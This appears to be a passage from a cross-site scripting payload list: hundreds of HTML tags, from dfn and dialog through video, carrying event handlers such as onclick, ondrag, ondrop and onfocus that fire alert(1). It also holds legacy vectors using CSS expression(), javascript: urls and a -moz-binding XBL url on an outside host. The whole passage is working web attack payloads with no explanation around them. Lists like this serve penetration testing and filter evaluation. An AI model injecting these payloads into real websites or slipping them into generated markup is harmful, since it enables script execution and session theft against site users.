onfocusin=alert(1)></dfn> <dfn onbeforecopy="alert(1)" contenteditable>test</dfn> <dfn onbeforecut="alert(1)" contenteditable>test</dfn> <dfn onbeforepaste="alert(1)" contenteditable>test</dfn> <dfn onblur=alert(1) tabindex=1 id=x></dfn><input autofocus> <dfn onclick="alert(1)">test</dfn> <dfn oncontextmenu="alert(1)">test</dfn> <dfn oncopy="alert(1)" contenteditable>test</dfn> <dfn oncut="alert(1)" contenteditable>test</dfn> <dfn ondblclick="alert(1)">test</dfn> <dfn onfocusout=alert(1) tabindex=1 id=x></dfn><input autofocus> <dfn onkeydown="alert(1)" contenteditable>test</dfn> <dfn onkeypress="alert(1)" contenteditable>test</dfn> <dfn onkeyup="alert(1)" contenteditable>test</dfn> <dfn onmousedown="alert(1)">test</dfn> <dfn onmouseenter="alert(1)">test</dfn> <dfn onmouseleave="alert(1)">test</dfn> <dfn onmousemove="alert(1)">test</dfn> <dfn onmouseout="alert(1)">test</dfn> <dfn onmouseover="alert(1)">test</dfn> <dfn onmouseup="alert(1)">test</dfn> <dfn onpaste="alert(1)" contenteditable>test</dfn> <dialog draggable="true" ondrag="alert(1)">test</dialog> <dialog draggable="true" ondragend="alert(1)">test</dialog> <dialog draggable="true" ondragenter="alert(1)">test</dialog> <dialog draggable="true" ondragleave="alert(1)">test</dialog> <dialog draggable="true" ondragstart="alert(1)">test</dialog> <dialog id=x tabindex=1 onactivate=alert(1)></dialog> <dialog id=x tabindex=1 onbeforeactivate=alert(1)></dialog> <dialog id=x tabindex=1 onbeforedeactivate=alert(1)></dialog><input autofocus> <dialog id=x tabindex=1 ondeactivate=alert(1)></dialog><input id=y autofocus> <dialog id=x tabindex=1 onfocus=alert(1)></dialog> <dialog id=x tabindex=1 onfocusin=alert(1)></dialog> <dialog onbeforecopy="alert(1)" contenteditable>test</dialog> <dialog onbeforecut="alert(1)" contenteditable>test</dialog> <dialog onbeforepaste="alert(1)" contenteditable>test</dialog> <dialog onblur=alert(1) tabindex=1 id=x></dialog><input autofocus> <dialog onclick="alert(1)">test</dialog> <dialog oncontextmenu="alert(1)">test</dialog> <dialog oncopy="alert(1)" contenteditable>test</dialog> <dialog oncut="alert(1)" contenteditable>test</dialog> <dialog ondblclick="alert(1)">test</dialog> <dialog onfocusout=alert(1) tabindex=1 id=x></dialog><input autofocus> <dialog onkeydown="alert(1)" contenteditable>test</dialog> <dialog onkeypress="alert(1)" contenteditable>test</dialog> <dialog onkeyup="alert(1)" contenteditable>test</dialog> <dialog onmousedown="alert(1)">test</dialog> <dialog onmouseenter="alert(1)">test</dialog> <dialog onmouseleave="alert(1)">test</dialog> <dialog onmousemove="alert(1)">test</dialog> <dialog onmouseout="alert(1)">test</dialog> <dialog onmouseover="alert(1)">test</dialog> <dialog onmouseup="alert(1)">test</dialog> <dialog onpaste="alert(1)" contenteditable>test</dialog> <dir draggable="true" ondrag="alert(1)">test</dir> <dir draggable="true" ondragend="alert(1)">test</dir> <dir draggable="true" ondragenter="alert(1)">test</dir> <dir draggable="true" ondragleave="alert(1)">test</dir> <dir draggable="true" ondragstart="alert(1)">test</dir> <dir id=x tabindex=1 onactivate=alert(1)></dir> <dir id=x tabindex=1 onbeforeactivate=alert(1)></dir> <dir id=x tabindex=1 onbeforedeactivate=alert(1)></dir><input autofocus> <dir id=x tabindex=1 ondeactivate=alert(1)></dir><input id=y autofocus> <dir id=x tabindex=1 onfocus=alert(1)></dir> <dir id=x tabindex=1 onfocusin=alert(1)></dir> <dir onbeforecopy="alert(1)" contenteditable>test</dir> <dir onbeforecut="alert(1)" contenteditable>test</dir> <dir onbeforepaste="alert(1)" contenteditable>test</dir> <dir onblur=alert(1) tabindex=1 id=x></dir><input autofocus> <dir onclick="alert(1)">test</dir> <dir oncontextmenu="alert(1)">test</dir> <dir oncopy="alert(1)" contenteditable>test</dir> <dir oncut="alert(1)" contenteditable>test</dir> <dir ondblclick="alert(1)">test</dir> <dir onfocusout=alert(1) tabindex=1 id=x></dir><input autofocus> <dir onkeydown="alert(1)" contenteditable>test</dir> <dir onkeypress="alert(1)" contenteditable>test</dir> <dir onkeyup="alert(1)" contenteditable>test</dir> <dir onmousedown="alert(1)">test</dir> <dir onmouseenter="alert(1)">test</dir> <dir onmouseleave="alert(1)">test</dir> <dir onmousemove="alert(1)">test</dir> <dir onmouseout="alert(1)">test</dir> <dir onmouseover="alert(1)">test</dir> <dir onmouseup="alert(1)">test</dir> <dir onpaste="alert(1)" contenteditable>test</dir> <div    style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)> <div/onmouseover='alert(1)'> style="x:"> <div/style="width:expression(confirm(1))">X</div> {IE7} <div/style=\-\mo\z\-& <div/style=\-\mo\z\-b\i\nd\in\g:\url(//business\i\nfo.co.uk\/labs\/xbl\/xbl\.xml\#xss)> <div STYLE="background-image: url(javascript:document.vulnerable=true;)"> <div STYLE="background-image: url(javascript:document.vulnerable=true;)"> <div STYLE="width: expression(document.vulnerable=true);"> <div datafld="b" dataformatas="html" datasrc="#X"></div> <div draggable="true" contenteditable>drag me</div><abbr ondragover=alert(1) contenteditable>drop here</abbr> <div draggable="true" contenteditable>drag me</div><abbr ondrop=alert(1) contenteditable>drop here</abbr> <div draggable="true" contenteditable>drag me</div><acronym ondragover=alert(1) contenteditable>drop here</acronym> <div draggable="true" contenteditable>drag me</div><acronym ondrop=alert(1) contenteditable>drop here</acronym> <div draggable="true" contenteditable>drag me</div><address ondragover=alert(1) contenteditable>drop here</address> <div draggable="true" contenteditable>drag me</div><address ondrop=alert(1) contenteditable>drop here</address> <div draggable="true" contenteditable>drag me</div><a ondragover=alert(1) contenteditable>drop here</a> <div draggable="true" contenteditable>drag me</div><a ondrop=alert(1) contenteditable>drop here</a> <div draggable="true" contenteditable>drag me</div><applet ondragover=alert(1) contenteditable>drop here</applet> <div draggable="true" contenteditable>drag me</div><applet ondrop=alert(1) contenteditable>drop here</applet> <div draggable="true" contenteditable>drag me</div><area ondragover=alert(1) contenteditable>drop here</area> <div draggable="true" contenteditable>drag me</div><area ondrop=alert(1) contenteditable>drop here</area> <div draggable="true" contenteditable>drag me</div><article ondragover=alert(1) contenteditable>drop here</article> <div draggable="true" contenteditable>drag me</div><article ondrop=alert(1) contenteditable>drop here</article> <div draggable="true" contenteditable>drag me</div><aside ondragover=alert(1) contenteditable>drop here</aside> <div draggable="true" contenteditable>drag me</div><aside ondrop=alert(1) contenteditable>drop here</aside> <div draggable="true" contenteditable>drag me</div><audio ondragover=alert(1) contenteditable>drop here</audio> <div draggable="true" contenteditable>drag me</div><audio ondrop=alert(1) contenteditable>drop here</audio> <div draggable="true" contenteditable>drag me</div><basefont ondragover=alert(1) contenteditable>drop here</basefont> <div draggable="true" contenteditable>drag me</div><basefont ondrop=alert(1) contenteditable>drop here</basefont> <div draggable="true" contenteditable>drag me</div><base ondragover=alert(1) contenteditable>drop here</base> <div draggable="true" contenteditable>drag me</div><base ondrop=alert(1) contenteditable>drop here</base> <div draggable="true" contenteditable>drag me</div><bdi ondragover=alert(1) contenteditable>drop here</bdi> <div draggable="true" contenteditable>drag me</div><bdi ondrop=alert(1) contenteditable>drop here</bdi> <div draggable="true" contenteditable>drag me</div><bdo ondragover=alert(1) contenteditable>drop here</bdo> <div draggable="true" contenteditable>drag me</div><bdo ondrop=alert(1) contenteditable>drop here</bdo> <div draggable="true" contenteditable>drag me</div><bgsound ondragover=alert(1) contenteditable>drop here</bgsound> <div draggable="true" contenteditable>drag me</div><bgsound ondrop=alert(1) contenteditable>drop here</bgsound> <div draggable="true" contenteditable>drag me</div><big ondragover=alert(1) contenteditable>drop here</big> <div draggable="true" contenteditable>drag me</div><big ondrop=alert(1) contenteditable>drop here</big> <div draggable="true" contenteditable>drag me</div><blink ondragover=alert(1) contenteditable>drop here</blink> <div draggable="true" contenteditable>drag me</div><blink ondrop=alert(1) contenteditable>drop here</blink> <div draggable="true" contenteditable>drag me</div><blockquote ondragover=alert(1) contenteditable>drop here</blockquote> <div draggable="true" contenteditable>drag me</div><blockquote ondrop=alert(1) contenteditable>drop here</blockquote> <div draggable="true" contenteditable>drag me</div><body ondragover=alert(1) contenteditable>drop here</body> <div draggable="true" contenteditable>drag me</div><body ondrop=alert(1) contenteditable>drop here</body> <div draggable="true" contenteditable>drag me</div><b ondragover=alert(1) contenteditable>drop here</b> <div draggable="true" contenteditable>drag me</div><b ondrop=alert(1) contenteditable>drop here</b> <div draggable="true" contenteditable>drag me</div><br ondragover=alert(1) contenteditable>drop here</br> <div draggable="true" contenteditable>drag me</div><br ondrop=alert(1) contenteditable>drop here</br> <div draggable="true" contenteditable>drag me</div><button ondragover=alert(1) contenteditable>drop here</button> <div draggable="true" contenteditable>drag me</div><button ondrop=alert(1) contenteditable>drop here</button> <div draggable="true" contenteditable>drag me</div><canvas ondragover=alert(1) contenteditable>drop here</canvas> <div draggable="true" contenteditable>drag me</div><canvas ondrop=alert(1) contenteditable>drop here</canvas> <div draggable="true" contenteditable>drag me</div><caption ondragover=alert(1) contenteditable>drop here</caption> <div draggable="true" contenteditable>drag me</div><caption ondrop=alert(1) contenteditable>drop here</caption> <div draggable="true" contenteditable>drag me</div><center ondragover=alert(1) contenteditable>drop here</center> <div draggable="true" contenteditable>drag me</div><center ondrop=alert(1) contenteditable>drop here</center> <div draggable="true" contenteditable>drag me</div><cite ondragover=alert(1) contenteditable>drop here</cite> <div draggable="true" contenteditable>drag me</div><cite ondrop=alert(1) contenteditable>drop here</cite> <div draggable="true" contenteditable>drag me</div><code ondragover=alert(1) contenteditable>drop here</code> <div draggable="true" contenteditable>drag me</div><code ondrop=alert(1) contenteditable>drop here</code> <div draggable="true" contenteditable>drag me</div><colgroup ondragover=alert(1) contenteditable>drop here</colgroup> <div draggable="true" contenteditable>drag me</div><colgroup ondrop=alert(1) contenteditable>drop here</colgroup> <div draggable="true" contenteditable>drag me</div><col ondragover=alert(1) contenteditable>drop here</col> <div draggable="true" contenteditable>drag me</div><col ondrop=alert(1) contenteditable>drop here</col> <div draggable="true" contenteditable>drag me</div><command ondragover=alert(1) contenteditable>drop here</command> <div draggable="true" contenteditable>drag me</div><command ondrop=alert(1) contenteditable>drop here</command> <div draggable="true" contenteditable>drag me</div><content ondragover=alert(1) contenteditable>drop here</content> <div draggable="true" contenteditable>drag me</div><content ondrop=alert(1) contenteditable>drop here</content> <div draggable="true" contenteditable>drag me</div><datalist ondragover=alert(1) contenteditable>drop here</datalist> <div draggable="true" contenteditable>drag me</div><datalist ondrop=alert(1) contenteditable>drop here</datalist> <div draggable="true" contenteditable>drag me</div><data ondragover=alert(1) contenteditable>drop here</data> <div draggable="true" contenteditable>drag me</div><data ondrop=alert(1) contenteditable>drop here</data> <div draggable="true" contenteditable>drag me</div><dd ondragover=alert(1) contenteditable>drop here</dd> <div draggable="true" contenteditable>drag me</div><dd ondrop=alert(1) contenteditable>drop here</dd> <div draggable="true" contenteditable>drag me</div><del ondragover=alert(1) contenteditable>drop here</del> <div draggable="true" contenteditable>drag me</div><del ondrop=alert(1) contenteditable>drop here</del> <div draggable="true" contenteditable>drag me</div><details ondragover=alert(1) contenteditable>drop here</details> <div draggable="true" contenteditable>drag me</div><details ondrop=alert(1) contenteditable>drop here</details> <div draggable="true" contenteditable>drag me</div><dfn ondragover=alert(1) contenteditable>drop here</dfn> <div draggable="true" contenteditable>drag me</div><dfn ondrop=alert(1) contenteditable>drop here</dfn> <div draggable="true" contenteditable>drag me</div><dialog ondragover=alert(1) contenteditable>drop here</dialog> <div draggable="true" contenteditable>drag me</div><dialog ondrop=alert(1) contenteditable>drop here</dialog> <div draggable="true" contenteditable>drag me</div><dir ondragover=alert(1) contenteditable>drop here</dir> <div draggable="true" contenteditable>drag me</div><dir ondrop=alert(1) contenteditable>drop here</dir> <div draggable="true" contenteditable>drag me</div><div ondragover=alert(1) contenteditable>drop here</div> <div draggable="true" contenteditable>drag me</div><div ondrop=alert(1) contenteditable>drop here</div> <div draggable="true" contenteditable>drag me</div><dl ondragover=alert(1) contenteditable>drop here</dl> <div draggable="true" contenteditable>drag me</div><dl ondrop=alert(1) contenteditable>drop here</dl> <div draggable="true" contenteditable>drag me</div><dt ondragover=alert(1) contenteditable>drop here</dt> <div draggable="true" contenteditable>drag me</div><dt ondrop=alert(1) contenteditable>drop here</dt> <div draggable="true" contenteditable>drag me</div><element ondragover=alert(1) contenteditable>drop here</element> <div draggable="true" contenteditable>drag me</div><element ondrop=alert(1) contenteditable>drop here</element> <div draggable="true" contenteditable>drag me</div><embed ondragover=alert(1) contenteditable>drop here</embed> <div draggable="true" contenteditable>drag me</div><embed ondrop=alert(1) contenteditable>drop here</embed> <div draggable="true" contenteditable>drag me</div><em ondragover=alert(1) contenteditable>drop here</em> <div draggable="true" contenteditable>drag me</div><em ondrop=alert(1) contenteditable>drop here</em> <div draggable="true" contenteditable>drag me</div><fieldset ondragover=alert(1) contenteditable>drop here</fieldset> <div draggable="true" contenteditable>drag me</div><fieldset ondrop=alert(1) contenteditable>drop here</fieldset> <div draggable="true" contenteditable>drag me</div><figcaption ondragover=alert(1) contenteditable>drop here</figcaption> <div draggable="true" contenteditable>drag me</div><figcaption ondrop=alert(1) contenteditable>drop here</figcaption> <div draggable="true" contenteditable>drag me</div><figure ondragover=alert(1) contenteditable>drop here</figure> <div draggable="true" contenteditable>drag me</div><figure ondrop=alert(1) contenteditable>drop here</figure> <div draggable="true" contenteditable>drag me</div><font ondragover=alert(1) contenteditable>drop here</font> <div draggable="true" contenteditable>drag me</div><font ondrop=alert(1) contenteditable>drop here</font> <div draggable="true" contenteditable>drag me</div><footer ondragover=alert(1) contenteditable>drop here</footer> <div draggable="true" contenteditable>drag me</div><footer ondrop=alert(1) contenteditable>drop here</footer> <div draggable="true" contenteditable>drag me</div><form ondragover=alert(1) contenteditable>drop here</form> <div draggable="true" contenteditable>drag me</div><form ondrop=alert(1) contenteditable>drop here</form> <div draggable="true" contenteditable>drag me</div><frame ondragover=alert(1) contenteditable>drop here</frame> <div draggable="true" contenteditable>drag me</div><frame ondrop=alert(1) contenteditable>drop here</frame> <div draggable="true" contenteditable>drag me</div><frameset ondragover=alert(1) contenteditable>drop here</frameset> <div draggable="true" contenteditable>drag me</div><frameset ondrop=alert(1) contenteditable>drop here</frameset> <div draggable="true" contenteditable>drag me</div><h1 ondragover=alert(1) contenteditable>drop here</h1> <div draggable="true" contenteditable>drag me</div><h1 ondrop=alert(1) contenteditable>drop here</h1> <div draggable="true" contenteditable>drag me</div><header ondragover=alert(1) contenteditable>drop here</header> <div draggable="true" contenteditable>drag me</div><header ondrop=alert(1) contenteditable>drop here</header> <div draggable="true" contenteditable>drag me</div><head ondragover=alert(1) contenteditable>drop here</head> <div draggable="true" contenteditable>drag me</div><head ondrop=alert(1) contenteditable>drop here</head> <div draggable="true" contenteditable>drag me</div><hgroup ondragover=alert(1) contenteditable>drop here</hgroup> <div draggable="true" contenteditable>drag me</div><hgroup ondrop=alert(1) contenteditable>drop here</hgroup> <div draggable="true" contenteditable>drag me</div><hr ondragover=alert(1) contenteditable>drop here</hr> <div draggable="true" contenteditable>drag me</div><hr ondrop=alert(1) contenteditable>drop here</hr> <div draggable="true" contenteditable>drag me</div><html ondragover=alert(1) contenteditable>drop here</html> <div draggable="true" contenteditable>drag me</div><html ondrop=alert(1) contenteditable>drop here</html> <div draggable="true" contenteditable>drag me</div><iframe ondragover=alert(1) contenteditable>drop here</iframe> <div draggable="true" contenteditable>drag me</div><iframe ondrop=alert(1) contenteditable>drop here</iframe> <div draggable="true" contenteditable>drag me</div><image ondragover=alert(1) contenteditable>drop here</image> <div draggable="true" contenteditable>drag me</div><image ondrop=alert(1) contenteditable>drop here</image> <div draggable="true" contenteditable>drag me</div><img ondragover=alert(1) contenteditable>drop here</img> <div draggable="true" contenteditable>drag me</div><img ondrop=alert(1) contenteditable>drop here</img> <div draggable="true" contenteditable>drag me</div><input ondragover=alert(1) contenteditable>drop here</input> <div draggable="true" contenteditable>drag me</div><input ondrop=alert(1) contenteditable>drop here</input> <div draggable="true" contenteditable>drag me</div><ins ondragover=alert(1) contenteditable>drop here</ins> <div draggable="true" contenteditable>drag me</div><ins ondrop=alert(1) contenteditable>drop here</ins> <div draggable="true" contenteditable>drag me</div><i ondragover=alert(1) contenteditable>drop here</i> <div draggable="true" contenteditable>drag me</div><i ondrop=alert(1) contenteditable>drop here</i> <div draggable="true" contenteditable>drag me</div><isindex ondragover=alert(1) contenteditable>drop here</isindex> <div draggable="true" contenteditable>drag me</div><isindex ondrop=alert(1) contenteditable>drop here</isindex> <div draggable="true" contenteditable>drag me</div><kbd ondragover=alert(1) contenteditable>drop here</kbd> <div draggable="true" contenteditable>drag me</div><kbd ondrop=alert(1) contenteditable>drop here</kbd> <div draggable="true" contenteditable>drag me</div><keygen ondragover=alert(1) contenteditable>drop here</keygen> <div draggable="true" contenteditable>drag me</div><keygen ondrop=alert(1) contenteditable>drop here</keygen> <div draggable="true" contenteditable>drag me</div><label ondragover=alert(1) contenteditable>drop here</label> <div draggable="true" contenteditable>drag me</div><label ondrop=alert(1) contenteditable>drop here</label> <div draggable="true" contenteditable>drag me</div><legend ondragover=alert(1) contenteditable>drop here</legend> <div draggable="true" contenteditable>drag me</div><legend ondrop=alert(1) contenteditable>drop here</legend> <div draggable="true" contenteditable>drag me</div><link ondragover=alert(1) contenteditable>drop here</link> <div draggable="true" contenteditable>drag me</div><link ondrop=alert(1) contenteditable>drop here</link> <div draggable="true" contenteditable>drag me</div><li ondragover=alert(1) contenteditable>drop here</li> <div draggable="true" contenteditable>drag me</div><li ondrop=alert(1) contenteditable>drop here</li> <div draggable="true" contenteditable>drag me</div><listing ondragover=alert(1) contenteditable>drop here</listing> <div draggable="true" contenteditable>drag me</div><listing ondrop=alert(1) contenteditable>drop here</listing> <div draggable="true" contenteditable>drag me</div><main ondragover=alert(1) contenteditable>drop here</main> <div draggable="true" contenteditable>drag me</div><main ondrop=alert(1) contenteditable>drop here</main> <div draggable="true" contenteditable>drag me</div><map ondragover=alert(1) contenteditable>drop here</map> <div draggable="true" contenteditable>drag me</div><map ondrop=alert(1) contenteditable>drop here</map> <div draggable="true" contenteditable>drag me</div><mark ondragover=alert(1) contenteditable>drop here</mark> <div draggable="true" contenteditable>drag me</div><mark ondrop=alert(1) contenteditable>drop here</mark> <div draggable="true" contenteditable>drag me</div><marquee ondragover=alert(1) contenteditable>drop here</marquee> <div draggable="true" contenteditable>drag me</div><marquee ondrop=alert(1) contenteditable>drop here</marquee> <div draggable="true" contenteditable>drag me</div><menuitem ondragover=alert(1) contenteditable>drop here</menuitem> <div draggable="true" contenteditable>drag me</div><menuitem ondrop=alert(1) contenteditable>drop here</menuitem> <div draggable="true" contenteditable>drag me</div><menu ondragover=alert(1) contenteditable>drop here</menu> <div draggable="true" contenteditable>drag me</div><menu ondrop=alert(1) contenteditable>drop here</menu> <div draggable="true" contenteditable>drag me</div><meta ondragover=alert(1) contenteditable>drop here</meta> <div draggable="true" contenteditable>drag me</div><meta ondrop=alert(1) contenteditable>drop here</meta> <div draggable="true" contenteditable>drag me</div><meter ondragover=alert(1) contenteditable>drop here</meter> <div draggable="true" contenteditable>drag me</div><meter ondrop=alert(1) contenteditable>drop here</meter> <div draggable="true" contenteditable>drag me</div><multicol ondragover=alert(1) contenteditable>drop here</multicol> <div draggable="true" contenteditable>drag me</div><multicol ondrop=alert(1) contenteditable>drop here</multicol> <div draggable="true" contenteditable>drag me</div><nav ondragover=alert(1) contenteditable>drop here</nav> <div draggable="true" contenteditable>drag me</div><nav ondrop=alert(1) contenteditable>drop here</nav> <div draggable="true" contenteditable>drag me</div><nextid ondragover=alert(1) contenteditable>drop here</nextid> <div draggable="true" contenteditable>drag me</div><nextid ondrop=alert(1) contenteditable>drop here</nextid> <div draggable="true" contenteditable>drag me</div><nobr ondragover=alert(1) contenteditable>drop here</nobr> <div draggable="true" contenteditable>drag me</div><nobr ondrop=alert(1) contenteditable>drop here</nobr> <div draggable="true" contenteditable>drag me</div><noembed ondragover=alert(1) contenteditable>drop here</noembed> <div draggable="true" contenteditable>drag me</div><noembed ondrop=alert(1) contenteditable>drop here</noembed> <div draggable="true" contenteditable>drag me</div><noframes ondragover=alert(1) contenteditable>drop here</noframes> <div draggable="true" contenteditable>drag me</div><noframes ondrop=alert(1) contenteditable>drop here</noframes> <div draggable="true" contenteditable>drag me</div><noscript ondragover=alert(1) contenteditable>drop here</noscript> <div draggable="true" contenteditable>drag me</div><noscript ondrop=alert(1) contenteditable>drop here</noscript> <div draggable="true" contenteditable>drag me</div><object ondragover=alert(1) contenteditable>drop here</object> <div draggable="true" contenteditable>drag me</div><object ondrop=alert(1) contenteditable>drop here</object> <div draggable="true" contenteditable>drag me</div><ol ondragover=alert(1) contenteditable>drop here</ol> <div draggable="true" contenteditable>drag me</div><ol ondrop=alert(1) contenteditable>drop here</ol> <div draggable="true" contenteditable>drag me</div><optgroup ondragover=alert(1) contenteditable>drop here</optgroup> <div draggable="true" contenteditable>drag me</div><optgroup ondrop=alert(1) contenteditable>drop here</optgroup> <div draggable="true" contenteditable>drag me</div><option ondragover=alert(1) contenteditable>drop here</option> <div draggable="true" contenteditable>drag me</div><option ondrop=alert(1) contenteditable>drop here</option> <div draggable="true" contenteditable>drag me</div><output ondragover=alert(1) contenteditable>drop here</output> <div draggable="true" contenteditable>drag me</div><output ondrop=alert(1) contenteditable>drop here</output> <div draggable="true" contenteditable>drag me</div><param ondragover=alert(1) contenteditable>drop here</param> <div draggable="true" contenteditable>drag me</div><param ondrop=alert(1) contenteditable>drop here</param> <div draggable="true" contenteditable>drag me</div><picture ondragover=alert(1) contenteditable>drop here</picture> <div draggable="true" contenteditable>drag me</div><picture ondrop=alert(1) contenteditable>drop here</picture> <div draggable="true" contenteditable>drag me</div><plaintext ondragover=alert(1) contenteditable>drop here</plaintext> <div draggable="true" contenteditable>drag me</div><plaintext ondrop=alert(1) contenteditable>drop here</plaintext> <div draggable="true" contenteditable>drag me</div><p ondragover=alert(1) contenteditable>drop here</p> <div draggable="true" contenteditable>drag me</div><p ondrop=alert(1) contenteditable>drop here</p> <div draggable="true" contenteditable>drag me</div><pre ondragover=alert(1) contenteditable>drop here</pre> <div draggable="true" contenteditable>drag me</div><pre ondrop=alert(1) contenteditable>drop here</pre> <div draggable="true" contenteditable>drag me</div><progress ondragover=alert(1) contenteditable>drop here</progress> <div draggable="true" contenteditable>drag me</div><progress ondrop=alert(1) contenteditable>drop here</progress> <div draggable="true" contenteditable>drag me</div><q ondragover=alert(1) contenteditable>drop here</q> <div draggable="true" contenteditable>drag me</div><q ondrop=alert(1) contenteditable>drop here</q> <div draggable="true" contenteditable>drag me</div><rb ondragover=alert(1) contenteditable>drop here</rb> <div draggable="true" contenteditable>drag me</div><rb ondrop=alert(1) contenteditable>drop here</rb> <div draggable="true" contenteditable>drag me</div><rp ondragover=alert(1) contenteditable>drop here</rp> <div draggable="true" contenteditable>drag me</div><rp ondrop=alert(1) contenteditable>drop here</rp> <div draggable="true" contenteditable>drag me</div><rtc ondragover=alert(1) contenteditable>drop here</rtc> <div draggable="true" contenteditable>drag me</div><rtc ondrop=alert(1) contenteditable>drop here</rtc> <div draggable="true" contenteditable>drag me</div><rt ondragover=alert(1) contenteditable>drop here</rt> <div draggable="true" contenteditable>drag me</div><rt ondrop=alert(1) contenteditable>drop here</rt> <div draggable="true" contenteditable>drag me</div><ruby ondragover=alert(1) contenteditable>drop here</ruby> <div draggable="true" contenteditable>drag me</div><ruby ondrop=alert(1) contenteditable>drop here</ruby> <div draggable="true" contenteditable>drag me</div><samp ondragover=alert(1) contenteditable>drop here</samp> <div draggable="true" contenteditable>drag me</div><samp ondrop=alert(1) contenteditable>drop here</samp> <div draggable="true" contenteditable>drag me</div><script ondragover=alert(1) contenteditable>drop here</script> <div draggable="true" contenteditable>drag me</div><script ondrop=alert(1) contenteditable>drop here</script> <div draggable="true" contenteditable>drag me</div><section ondragover=alert(1) contenteditable>drop here</section> <div draggable="true" contenteditable>drag me</div><section ondrop=alert(1) contenteditable>drop here</section> <div draggable="true" contenteditable>drag me</div><select ondragover=alert(1) contenteditable>drop here</select> <div draggable="true" contenteditable>drag me</div><select ondrop=alert(1) contenteditable>drop here</select> <div draggable="true" contenteditable>drag me</div><shadow ondragover=alert(1) contenteditable>drop here</shadow> <div draggable="true" contenteditable>drag me</div><shadow ondrop=alert(1) contenteditable>drop here</shadow> <div draggable="true" contenteditable>drag me</div><slot ondragover=alert(1) contenteditable>drop here</slot> <div draggable="true" contenteditable>drag me</div><slot ondrop=alert(1) contenteditable>drop here</slot> <div draggable="true" contenteditable>drag me</div><small ondragover=alert(1) contenteditable>drop here</small> <div draggable="true" contenteditable>drag me</div><small ondrop=alert(1) contenteditable>drop here</small> <div draggable="true" contenteditable>drag me</div><s ondragover=alert(1) contenteditable>drop here</s> <div draggable="true" contenteditable>drag me</div><s ondrop=alert(1) contenteditable>drop here</s> <div draggable="true" contenteditable>drag me</div><source ondragover=alert(1) contenteditable>drop here</source> <div draggable="true" contenteditable>drag me</div><source ondrop=alert(1) contenteditable>drop here</source> <div draggable="true" contenteditable>drag me</div><spacer ondragover=alert(1) contenteditable>drop here</spacer> <div draggable="true" contenteditable>drag me</div><spacer ondrop=alert(1) contenteditable>drop here</spacer> <div draggable="true" contenteditable>drag me</div><span ondragover=alert(1) contenteditable>drop here</span> <div draggable="true" contenteditable>drag me</div><span ondrop=alert(1) contenteditable>drop here</span> <div draggable="true" contenteditable>drag me</div><strike ondragover=alert(1) contenteditable>drop here</strike> <div draggable="true" contenteditable>drag me</div><strike ondrop=alert(1) contenteditable>drop here</strike> <div draggable="true" contenteditable>drag me</div><strong ondragover=alert(1) contenteditable>drop here</strong> <div draggable="true" contenteditable>drag me</div><strong ondrop=alert(1) contenteditable>drop here</strong> <div draggable="true" contenteditable>drag me</div><style ondragover=alert(1) contenteditable>drop here</style> <div draggable="true" contenteditable>drag me</div><style ondrop=alert(1) contenteditable>drop here</style> <div draggable="true" contenteditable>drag me</div><sub ondragover=alert(1) contenteditable>drop here</sub> <div draggable="true" contenteditable>drag me</div><sub ondrop=alert(1) contenteditable>drop here</sub> <div draggable="true" contenteditable>drag me</div><summary ondragover=alert(1) contenteditable>drop here</summary> <div draggable="true" contenteditable>drag me</div><summary ondrop=alert(1) contenteditable>drop here</summary> <div draggable="true" contenteditable>drag me</div><sup ondragover=alert(1) contenteditable>drop here</sup> <div draggable="true" contenteditable>drag me</div><sup ondrop=alert(1) contenteditable>drop here</sup> <div draggable="true" contenteditable>drag me</div><svg ondragover=alert(1) contenteditable>drop here</svg> <div draggable="true" contenteditable>drag me</div><svg ondrop=alert(1) contenteditable>drop here</svg> <div draggable="true" contenteditable>drag me</div><table ondragover=alert(1) contenteditable>drop here</table> <div draggable="true" contenteditable>drag me</div><table ondrop=alert(1) contenteditable>drop here</table> <div draggable="true" contenteditable>drag me</div><tbody ondragover=alert(1) contenteditable>drop here</tbody> <div draggable="true" contenteditable>drag me</div><tbody ondrop=alert(1) contenteditable>drop here</tbody> <div draggable="true" contenteditable>drag me</div><td ondragover=alert(1) contenteditable>drop here</td> <div draggable="true" contenteditable>drag me</div><td ondrop=alert(1) contenteditable>drop here</td> <div draggable="true" contenteditable>drag me</div><template ondragover=alert(1) contenteditable>drop here</template> <div draggable="true" contenteditable>drag me</div><template ondrop=alert(1) contenteditable>drop here</template> <div draggable="true" contenteditable>drag me</div><textarea ondragover=alert(1) contenteditable>drop here</textarea> <div draggable="true" contenteditable>drag me</div><textarea ondrop=alert(1) contenteditable>drop here</textarea> <div draggable="true" contenteditable>drag me</div><tfoot ondragover=alert(1) contenteditable>drop here</tfoot> <div draggable="true" contenteditable>drag me</div><tfoot ondrop=alert(1) contenteditable>drop here</tfoot> <div draggable="true" contenteditable>drag me</div><thead ondragover=alert(1) contenteditable>drop here</thead> <div draggable="true" contenteditable>drag me</div><thead ondrop=alert(1) contenteditable>drop here</thead> <div draggable="true" contenteditable>drag me</div><th ondragover=alert(1) contenteditable>drop here</th> <div draggable="true" contenteditable>drag me</div><th ondrop=alert(1) contenteditable>drop here</th> <div draggable="true" contenteditable>drag me</div><time ondragover=alert(1) contenteditable>drop here</time> <div draggable="true" contenteditable>drag me</div><time ondrop=alert(1) contenteditable>drop here</time> <div draggable="true" contenteditable>drag me</div><title ondragover=alert(1) contenteditable>drop here</title> <div draggable="true" contenteditable>drag me</div><title ondrop=alert(1) contenteditable>drop here</title> <div draggable="true" contenteditable>drag me</div><track ondragover=alert(1) contenteditable>drop here</track> <div draggable="true" contenteditable>drag me</div><track ondrop=alert(1) contenteditable>drop here</track> <div draggable="true" contenteditable>drag me</div><tr ondragover=alert(1) contenteditable>drop here</tr> <div draggable="true" contenteditable>drag me</div><tr ondrop=alert(1) contenteditable>drop here</tr> <div draggable="true" contenteditable>drag me</div><tt ondragover=alert(1) contenteditable>drop here</tt> <div draggable="true" contenteditable>drag me</div><tt ondrop=alert(1) contenteditable>drop here</tt> <div draggable="true" contenteditable>drag me</div><ul ondragover=alert(1) contenteditable>drop here</ul> <div draggable="true" contenteditable>drag me</div><ul ondrop=alert(1) contenteditable>drop here</ul> <div draggable="true" contenteditable>drag me</div><u ondragover=alert(1) contenteditable>drop here</u> <div draggable="true" contenteditable>drag me</div><u ondrop=alert(1) contenteditable>drop here</u> <div draggable="true" contenteditable>drag me</div><var ondragover=alert(1) contenteditable>drop here</var> <div draggable="true" contenteditable>drag me</div><var ondrop=alert(1) contenteditable>drop here</var> <div draggable="true" contenteditable>drag me</div><video ondragover=alert(1) contenteditable>drop here</video> <div draggable="true" 